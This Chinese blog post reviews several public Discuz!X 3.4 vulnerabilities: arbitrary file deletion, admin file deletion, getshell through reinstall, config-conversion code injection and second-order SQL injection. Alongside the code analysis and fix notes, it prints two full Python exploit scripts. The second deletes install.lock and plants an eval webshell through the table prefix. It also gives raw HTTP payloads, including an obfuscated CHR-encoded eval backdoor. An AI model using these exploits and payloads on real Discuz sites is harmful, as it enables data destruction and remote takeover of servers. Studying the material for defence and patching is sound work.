Discuz!X 3.4 系列漏洞梳理

2020-04-03 约 1236 字 预计阅读 6 分钟

声明:本文 【Discuz!X 3.4 系列漏洞梳理】 由作者 lanv**** 于 2020-04-03 09:53:53 首发 先知社区 曾经 浏览数 171 次

感谢 lanv**** 的辛苦付出!

分析了目前已经公开的Dz3.4系列漏洞,作为学习和记录。

Discuz!X ≤3.4 任意文件删除漏洞

1、简述

漏洞原因:之前存在的任意文件删除漏洞修复不完全导致可以绕过。

漏洞修复时间:2017年9月29日官方对gitee上的代码进行了修复

2、复现环境

因为官方提供的下载是最新的源码,漏洞修复时间是17年9月29日,通过git找一个修复前的版本签出就可。

git checkout 1a912ddb4a62364d1736fa4578b42ecc62c5d0be

通过安装向导安装完后注册一个测试用户,同时在网站对应目录下创建用于删除的测试文件。

3、漏洞复现

登录账户。

访问该网页:http://127.0.0.1:8001/dz/upload/home.php?mod=spacecp&ac=profile&op=base

发送POST请求:

http://127.0.0.1:8001/dz/upload/home.php?mod=spacecp&ac=profile&op=base
POST
birthprovince=../../../testfile.txt&profilesubmit=1&formhash=e9d84225
formhash值为用户hash,可在源码中搜索formhash找到。

请求后表单中的出生地内容变为../../../testfile.txt

然后构造请求向home.php?mod=spacecp&ac=profile&op=base上传文件,可以修改表单提交达到目的。

提交后文件被删除。

4、漏洞分析

分析一下对该页面请求时的流程。

home.php的41行有一次对其他文件的请求:

require_once libfile('home/'.$mod, 'module');

因为GET参数不满足上面代码的条件所以进入这部分。

查看libfile函数的定义:

function libfile($libname, $folder = '') {
    $libpath = '/source/'.$folder;
    if(strstr($libname, '/')) {
        list($pre, $name) = explode('/', $libname);
        $path = "{$libpath}/{$pre}/{$pre}_{$name}";
    } else {
        $path = "{$libpath}/{$libname}";
    }
    return preg_match('/^[\w\d\/_]+$/i', $path) ? realpath(DISCUZ_ROOT.$path.'.php') : false;
}

可以看出该函数的功能就是构造文件路径。

对于复现漏洞时请求页面的GET请求参数:mod=spacecp&ac=profile&op=base

在如上参数的请求时,经过libfile函数处理过后返回的路径为:/source/module/home/home_spacecp.php

跟进到/source/module/home/home_spacecp.php文件,在最后一行也引入了其他的文件,处理方式同上

require_once libfile('spacecp/'.$ac, 'include');

所以这里引入的文件为:/source/include/spacecp/spacecp_profile.php,转到该文件看看。

在第70行,存在如下条件判断,这里也就是页面上的保存按钮点击后触发的相关处理代码:

if(submitcheck('profilesubmit')) {
  ......

submitcheck函数是对profilesubmit的安全检查

function submitcheck($var, $allowget = 0, $seccodecheck = 0, $secqaacheck = 0) {
    if(!getgpc($var)) {
        return FALSE;
    } else {
        return helper_form::submitcheck($var, $allowget, $seccodecheck, $secqaacheck);
    }
}

第187行开始是对文件上传的处理函数:

if($_FILES) {
        $upload = new discuz_upload();
        foreach($_FILES as $key => $file) {
    ......

第207行开始:

if(!$upload->error()) {
                $upload->save();

                if(!$upload->get_image_info($attach['target'])) {
                    @unlink($attach['target']);
                    continue;
                }
                $setarr[$key] = '';
                $attach['attachment'] = dhtmlspecialchars(trim($attach['attachment']));
                if($vid && $verifyconfig['available'] && isset($verifyconfig['field'][$key])) {
                    if(isset($verifyinfo['field'][$key])) {
                        @unlink(getglobal('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]);
                        $verifyarr[$key] = $attach['attachment'];
                    }
                    continue;
                }
                if(isset($setarr[$key]) && $_G['cache']['profilesetting'][$key]['needverify']) {
                    @unlink(getglobal('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]);
                    $verifyarr[$key] = $attach['attachment'];
                    continue;
                }
                @unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);
                $setarr[$key] = $attach['attachment'];
            }

文件上传成功,满足!$upload->error(),会执行到unlink语句:

@unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);

这里的$key,在前面foreach($_FILES as $key => $file)中定义(189行)。$space在第23行定义,为用户个人资料。

$space = getuserbyuid($_G['uid']);
space_merge($space, 'field_home');
space_merge($space, 'profile');

会从数据库查询用户相关的信息保存到变量$space中。birthprovince就是其中之一。

所以此时$space[key] = $space[birthprovince] = '../../../testfile.txt'

也就解释了复现时修改出生日期为目的文件路径的操作。

这样的话在这里就完成了文件删除的操作。

PS:更改用户信息时通过提交表单事时抓包可以看到各参数名称,可以进行修改。

5、Exp

exp改了半天也没有攻击成功,找了公开的exp也不成功,不知道是exp问题还是环境问题。

import requests
import re
import os

def check_url(target_url):
    parameter = target_url.split('/')
    if parameter[-1] != "home.php":
            print("[*] Please make sure the url end with 'home.php'")
            exit()

def get_cookie(target_url):
    cookie = input("[*] Please paste the cookie:").split(';')  
    cookies = {}
    for i in range(0,len(cookie)):
        name,value=cookie[i].strip().split('=',1)
        cookies[name] = value
    loginurl = target_url + '?mod=spacecp'
    text = requests.get(target_url,cookies=cookies).text
    if '您需要先登录才能继续本操作' in text:
        print("[*] Login error,please check cookies!")
    else:
        return cookies


def del_file(target_url,target_file,cookies):
    loginurl = target_url + '?mod=spacecp'
    text = requests.get(target_url,cookies=cookies).text
    reformhash = 'formhash=.*?&'
    patternformhash = re.compile(reformhash)
    formhash = patternformhash.search(text).group()[9:17]
    print(formhash)
    # set birthprovince
    birthprovinceurl = target_url + '?mod=spacecp&ac=profile'
    birthprovincedata ={
                    "birthprovince":target_file,
                    "profilesubmit":"1",
                    "formhash":formhash
                    }
    requests.post(birthprovinceurl,cookies=cookies,data=birthprovincedata)
    # upload a picture and delete the target file
    basepath = os.path.abspath(os.path.dirname(__file__))
    uploadurl = target_url + '?mod=spacecp&ac=profile&op=base'
    files = {'birthprovince': ("pic.png",open(basepath+'/1.png', 'rb'))}
    data = {
        'formhash':formhash,
        'profilesubmit':'1'
        }
    s=requests.post(uploadurl,cookies=cookies,data=data,files=files)
    print(s.text)
    print("[*] Deleting the file.")


def exp():
    try:
        target_url = input("[*] please input the target url(eg:http://xxxxx/home.php):")
        check_url(target_url)
        cookies,formhash = get_cookie(target_url)
        target_file = input("[*] Please input the target file:")
        del_file(target_url,target_file,cookies,formhash)
    except KeyError as e:
        print("This poc doesn't seem to work.")

if __name__ == "__main__":
    exp()

5、修复方法

对比官方的代码变动,直接删除了几条unlink语句,简单暴力..

Discuz!X V3.4后台任意文件删除

1、简述

后台任意文件删除,需要有管理员的权限。

2、复现环境

同上

3、漏洞复现

登陆后台,进入论坛->模块管理->编辑板块,使用burp拦截提交的数据。

修改请求包,添加参数 &replybgnew=../../../testfile.txt&delreplybg=1

发送,查看文件发现被删除。

4、漏洞分析

分析一下该请求的流程。

请求URL:/dz/upload/admin.php?action=forums&operation=edit&fid=2&replybgnew=../../../testfile.txt&delreplybg=1

admin.php中接收了action参数,在第58行经过admincpfile函数处理后返回文件路径,并包含该文件。

if($admincp->allow($action, $operation, $do) || $action == 'index') {
        require $admincp->admincpfile($action);

看一下该函数的处理过程:

function admincpfile($action) {
        return './source/admincp/admincp_'.$action.'.php';
    }

经过处理返回的内容是:./source/admincp/admincp_forums.php,也就来到了漏洞存在的地方。

根据if/else的判断条件,进入else中的代码:

if(!submitcheck('detailsubmit')) {
  ......
}
else{

}

造成漏洞的代码:

if(!$multiset) {
  if($_GET['delreplybg']) {
    $valueparse = parse_url($_GET['replybgnew']);
    if(!isset($valueparse['host']) && file_exists($_G['setting']['attachurl'].'common/'.$_GET['replybgnew'])) {
      @unlink($_G['setting']['attachurl'].'common/'.$_GET['replybgnew']);
    }
    $_GET['replybgnew'] = '';
  }

$multiset默认为0,只要不给该参数赋值就满足条件进入if语句。

第二个if语句,检查GET参数delreplybg有没有内容,然后做了下检测,检测parse_url函数返回的结果中有没有host这个变量,来确保GET参数replybgnew不是url,但是并不影响传入文件路径。

这里$_G['setting']['attachurl'的值为data/attachment/,再拼接上common/$_GET['replybgnew'],这样路径就可控了。通过unlink达到文件删除的目的。

任意文件删除配合install过程getshell

1、简述

这个方法是看到一篇博客分析的,主要是利用文件删除漏洞删掉install.lock文件,绕过对安装完成的判断能够再进行安装的过程,然后再填写配置信息处构使用构造的表前缀名,时一句话写入配置文件中,getshell。

表前缀:x');@eval($_POST[lanvnal]);('

但是我在使用上面版本v3.4的代码时发现,安装后install目录下不存在index.php了。分析代码发现会有安装后的删除处理,在/source/admincp/admincp_index.php的第14行:

if(@file_exists(DISCUZ_ROOT.'./install/index.php') && !DISCUZ_DEBUG) {
    @unlink(DISCUZ_ROOT.'./install/index.php');
    if(@file_exists(DISCUZ_ROOT.'./install/index.php')) {
        dexit('Please delete install/index.php via FTP!');
    }
}

那是不是老版本存在该问题呢?

我翻了历史版本代码,直到git提交的第一个版本都有如上的处理。

但还是分析一下吧,就当学习了。

可以利用的条件:1、安装后没有登录后台,此时install/index还没删除 2、因为其他原因没有删除

2、复现环境

同上

3、漏洞复现

如果安装后install/index.php因为某些原因还存在,直接访问会有如下警告:

通过文件删除漏洞删除data目录下的install.lock文件就可以重新安装。

安装过程修改表前缀内容为:x');@eval($_POST[lanvnal]);('

config/config_ucenter.php中已经写入了webshell。

4、漏洞分析

分析一下安装逻辑,install/index.php文件的整体流程如下:

分别是我们安装的每一步,接受协议->环境检测->是否安装 UCenter Server->数据库配置信息->安装过程,生成lock文件->检查

问题出在在 db_init 的处理中,在代码第369行:

if(DZUCFULL) {
            install_uc_server();
        }

跟进install_uc_server,在1296行可以发现对config参数没做任何过滤传入到save_uc_config中:

save_uc_config($config, ROOT_PATH.'./config/config_ucenter.php');

然后save_uc_config也没做任何安全处理,就拼接参数后写入文件:

function save_uc_config($config, $file) {

    $success = false;

    list($appauthkey, $appid, $ucdbhost, $ucdbname, $ucdbuser, $ucdbpw, $ucdbcharset, $uctablepre, $uccharset, $ucapi, $ucip) = $config;

    $link = function_exists('mysql_connect') ? mysql_connect($ucdbhost, $ucdbuser, $ucdbpw, 1) : new mysqli($ucdbhost, $ucdbuser, $ucdbpw, $ucdbname);
    $uc_connnect = $link ? 'mysql' : '';

    $date = gmdate("Y-m-d H:i:s", time() + 3600 * 8);
    $year = date('Y');
    $config = <<<EOT
<?php


define('UC_CONNECT', '$uc_connnect');

define('UC_DBHOST', '$ucdbhost');
define('UC_DBUSER', '$ucdbuser');
define('UC_DBPW', '$ucdbpw');
define('UC_DBNAME', '$ucdbname');
define('UC_DBCHARSET', '$ucdbcharset');
define('UC_DBTABLEPRE', '`$ucdbname`.$uctablepre');
define('UC_DBCONNECT', 0);

define('UC_CHARSET', '$uccharset');
define('UC_KEY', '$appauthkey');
define('UC_API', '$ucapi');
define('UC_APPID', '$appid');
define('UC_IP', '$ucip');
define('UC_PPP', 20);
?>
EOT;

    if($fp = fopen($file, 'w')) {
        fwrite($fp, $config);
        fclose($fp);
        $success = true;
    }
    return $success;
}

因为 dbhost, dbuser等参数需要用来连接数据库,所以利用 tablepre 向配置文件写入shell。

5、Exp

https://gist.github.com/j178/67f4dbd8e87cd012a7caa8752ea06e7b

#!/usr/bin/env python3
import base64
import random
import re
import string

import requests

sess = requests.Session()
randstr = lambda len=5: ''.join(random.choice(string.ascii_lowercase) for _ in range(len))

##################################################
########## Customize these parameters ############
target = 'http://localhost/discuzx'
# login target site first, and copy the cookie here
cookie = "UM_distinctid=15bcd2339e93d6-07b5ae8b41447e-8373f6a-13c680-15bcd2339ea636; CNZZDATA1261218610=1456502094-1493792949-%7C1494255360; csrftoken=NotKIwodOQHO0gdMyCAxpMuObjs5RGdeEVxRlaGoRdOEeMSVRL0sfeTBqnlMjtlZ; Zy4Q_2132_saltkey=I9b3k299; Zy4Q_2132_lastvisit=1506763258; Zy4Q_2132_ulastactivity=0adb6Y1baPukQGRVYtBOZB3wmx4nVBRonRprfYWTiUaEbYlKzFWL; Zy4Q_2132_nofavfid=1; Zy4Q_2132_sid=rsQrgQ; Zy4Q_2132_lastact=1506787935%09home.php%09misc; 7Csx_2132_saltkey=U8nrO8Xr; TMT0_2132_saltkey=E3q5BpyX; PXMk_2132_saltkey=rGBnNWu7; b4Gi_2132_saltkey=adC4r05k; b4Gi_2132_lastvisit=1506796139; b4Gi_2132_onlineusernum=2; b4Gi_2132_sendmail=1; b4Gi_2132_seccode=1.8dab0a0c4ebfda651b; b4Gi_2132_sid=BywqMy; b4Gi_2132_ulastactivity=51c0lBFHqkUpD3mClFKDxwP%2BI0JGaY88XWTT1qtFBD6jAJUMphOL; b4Gi_2132_auth=6ebc2wCixg7l%2F6No7r54FCvtNKfp1e5%2FAdz2SlLqJRBimNpgrbxhSEnsH5%2BgP2mAvwVxOdrrpVVX3W5PqDhf; b4Gi_2132_creditnotice=0D0D2D0D0D0D0D0D0D1; b4Gi_2132_creditbase=0D0D0D0D0D0D0D0D0; b4Gi_2132_creditrule=%E6%AF%8F%E5%A4%A9%E7%99%BB%E5%BD%95; b4Gi_2132_lastcheckfeed=1%7C1506800134; b4Gi_2132_checkfollow=1; b4Gi_2132_lastact=1506800134%09misc.php%09seccode"
shell_password = randstr()
db_host = ''
db_user = ''
db_pw = ''
db_name = ''
#################################################

path = '/home.php?mod=spacecp&ac=profile&op=base'
url = target + path

sess.headers.update({
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
    'Referer': url})


# sess.proxies.update({'http': 'socks5://localhost:1080'})
# sess.proxies.update({'http': 'http://localhost:8080'})


def login(username=None, password=None):
    sess.headers.update({'Cookie': cookie})


def get_form_hash():
    r = sess.get(url)
    match = re.search(r'"member.php\?mod=logging&amp;action=logout&amp;formhash=(.*?)"', r.text, re.I)
    if match:
        return match.group(1)


def tamper(formhash, file_to_delete):
    data = {
        'formhash': (None, formhash),
        'profilesubmit': (None, 'true'),
        'birthprovince': (None, file_to_delete)
    }
    r = sess.post(url, files=data)
    if 'parent.show_success' in r.text:
        print('tamperred successfully')
        return True


def delete(formhash, file):
    if not tamper(formhash, file):
        return False

    image = b'iVBORw0KGgoAAAANSUhEUgAAAAoAAAAKCAIAAAACUFjqAAAADUlEQVR4nGNgGAWkAwABNgABVtF/yAAAAABJRU5ErkJggg=='
    data = {
        'formhash': formhash,
        'profilesubmit': 'true'
    }
    files = {
        'birthprovince': ('image.png', base64.b64decode(image), 'image/png')
    }
    r = sess.post(url, data=data, files=files)
    if 'parent.show_success' in r.text:
        print('delete {} successfully'.format(file))
        return True


def getshell():
    install_url = target + '/install/index.php'
    r = sess.get(install_url)
    if '安装向导' not in r.text:
        print('install directory not exists')
        return False

    table_prefix = "x');@eval($_POST[{}]);('".format(shell_password)
    data = {
        'step': 3,
        'install_ucenter': 'yes',
        'dbinfo[dbhost]': db_host,
        'dbinfo[dbname]': db_name,
        'dbinfo[dbuser]': db_user,
        'dbinfo[dbpw]': db_pw,
        'dbinfo[tablepre]': table_prefix,
        'dbinfo[adminemail]': 'admin@admin.com',
        'admininfo[username]': 'admin',
        'admininfo[password]': 'admin',
        'admininfo[password2]': 'admin',
        'admininfo[email]': 'admin@admin.com',
    }
    r = sess.post(install_url, data=data)
    if '建立数据表 CREATE TABLE' not in r.text:
        print('write shell failed')
        return False
    print('shell: {}/config/config_ucenter.php'.format(target))
    print('password: {}'.format(shell_password))


if __name__ == '__main__':
    login()
    form_hash = get_form_hash()
    if form_hash:
        delete(form_hash, '../../../data/install.lock')
        getshell()
    else:
        print('failed')

Dz全版本,版本转换功能导致Getshell

1、简述

存在问题的代码在/utility/convert/目录下,这部分的功能主要是用于Dz系列产品升级/转换。

影响范围:全版本

条件:存在/utility/convert/目录和相应功能。

2、复现环境

同上,目前gitee最新版代码依然存在该漏洞。

3、漏洞复现

在产品升级/转换->选择产品转换程序 ->设置服务器信息 这里抓包,

payload:

POST /dz/utility/convert/index.php HTTP/1.1
Host: 127.0.0.1:8001
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 278
Origin: http://127.0.0.1:8001
Connection: close
Referer: http://127.0.0.1:8001/dz/utility/convert/index.php
Upgrade-Insecure-Requests: 1

a=config&source=d7.2_x1.5&submit=yes&newconfig[aaa%0a%0deval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(108).CHR(97).CHR(110).CHR(118).CHR(110).CHR(97).CHR(108).CHR(93).CHR(59).CHR(34).CHR(41).CHR(59));//]=aaaa

4、漏洞分析

入口utility/convert/index.php

require './include/common.inc.php';

$action = getgpc('a');
$action = empty($action) ? getgpc('action') : $action;
$source = getgpc('source') ? getgpc('source') : getgpc('s');

$_POST['a'],直接赋值给$action,此时$action = config;

} elseif($action == 'config' || CONFIG_EMPTY) {      
    require DISCUZ_ROOT.'./include/do_config.inc.php';  
} elseif($action == 'setting') {

满足条件,引入./include/do_config.inc.php

@touch($configfile);
 ......
if(submitcheck()) {
    $newconfig = getgpc('newconfig');
    if(is_array($newconfig)) {
        $checkarray = $setting['config']['ucenter'] ? array('source', 'target', 'ucenter') : array('source', 'target');
        foreach ($checkarray as $key) {
      ......
    }
    save_config_file($configfile, $newconfig, $config_default);

$newconfig$_POST[newconfig]获取数据,save_config_file函数保将$newconfig保存到$configfile文件中,即config.inc.php文件。跟进该函数。

function save_config_file($filename, $config, $default) {
    $config = setdefault($config, $default);// 将$config中的空白项用 $default 中对应项的值填充
    $date = gmdate("Y-m-d H:i:s", time() + 3600 * 8);
    $year = date('Y');
    $content = <<<EOT
<?php


\$_config = array();

EOT;
    $content .= getvars(array('_config' => $config));
    $content .= "\r\n// ".str_pad('  THE END  ', 50, '-', STR_PAD_BOTH)." //\r\n\r\n?>";
    file_put_contents($filename, $content);
}

getvars函数处理,此时的$config = $newconfig+config.default.php对应项的补充。看一下getvars函数:

function getvars($data, $type = 'VAR') {
    $evaluate = '';
    foreach($data as $key => $val) {
        if(!preg_match("/^[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*$/", $key)) {
            continue;
        }
        if(is_array($val)) {
            $evaluate .= buildarray($val, 0, "\${$key}")."\r\n";
        } else {
            $val = addcslashes($val, '\'\\');
            $evaluate .= $type == 'VAR' ? "\$$key = '$val';\n" : "define('".strtoupper($key)."', '$val');\n";
        }
    }
    return $evaluate;
}

满足if条件会执行buildarray函数,此时$key=_config$val=上面的$config。最终造成写入的在该函数中(update.php 2206行):

foreach ($array as $key => $val) {
        if($level == 0) {
            //str_pad — 使用另一个字符串填充字符串为指定长度
            // 第一个参数是要输出的字符串,指定长度为50,用'-'填充,居中
            $newline = str_pad('  CONFIG '.strtoupper($key).'  ', 50, '-', STR_PAD_BOTH);
            $return .= "\r\n// $newline //\r\n";
        }

本意是使用$config数组的key作为每一块配置区域的"注释标题",写入配置文件的$newline依赖于$key,而$key是攻击者可控的。

未对输入数据进行正确的边界处理,导致可以插入换行符,逃离注释的作用范围,从而使输入数据转化为可执行代码。

5、修复建议

update.php 2206行

foreach ($array as $key => $val){ 
    //过滤掉$key中的非字母、数字及下划线字符

全版本后台Sql注入

1、简述

Discuz! X系列全版本 截止到 Discuz! X3.4 R20191201 UTF-8

二次注入

利用条件有限,还是挺鸡肋的。

2、复现环境

同上

3、漏洞复现

报错注入:

写文件:

4、漏洞分析

漏洞原因:经过addslashes存入文件中,从文件中取出字符,转义符号丢失,造成二次注入

由前几个的分析已经明白了dz的路由形式,此处的路由解析如下:?action=xxx => ../admincp_xxx.php

跟进source/admincp/admincp_setting.php,2566行,接收参数修改UC_APPID值。

$configfile = str_replace("define('UC_APPID', '".addslashes(UC_APPID)."')", "define('UC_APPID', '".$settingnew['uc']['appid']."')", $configfile);

        $fp = fopen('./config/config_ucenter.php', 'w');
        if(!($fp = @fopen('./config/config_ucenter.php', 'w'))) {
            cpmsg('uc_config_write_error', '', 'error');
        }
        @fwrite($fp, trim($configfile));
        @fclose($fp);

成功写入恶意UC_APPID后,执行更新读取新的配置信息,3415行:

if($updatecache) {

        updatecache('setting');

最后在uc_client/model/base.phpnote_exists方法中触发注入

function note_exists() {
        $noteexists = $this->db->result_first("SELECT value FROM ".UC_DBTABLEPRE."vars WHERE name='noteexists".UC_APPID."'");
        if(empty($noteexists)) {
            return FALSE;
        } else {
            return TRUE;
        }
    }

关键词:[‘安全技术’, ‘漏洞分析’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now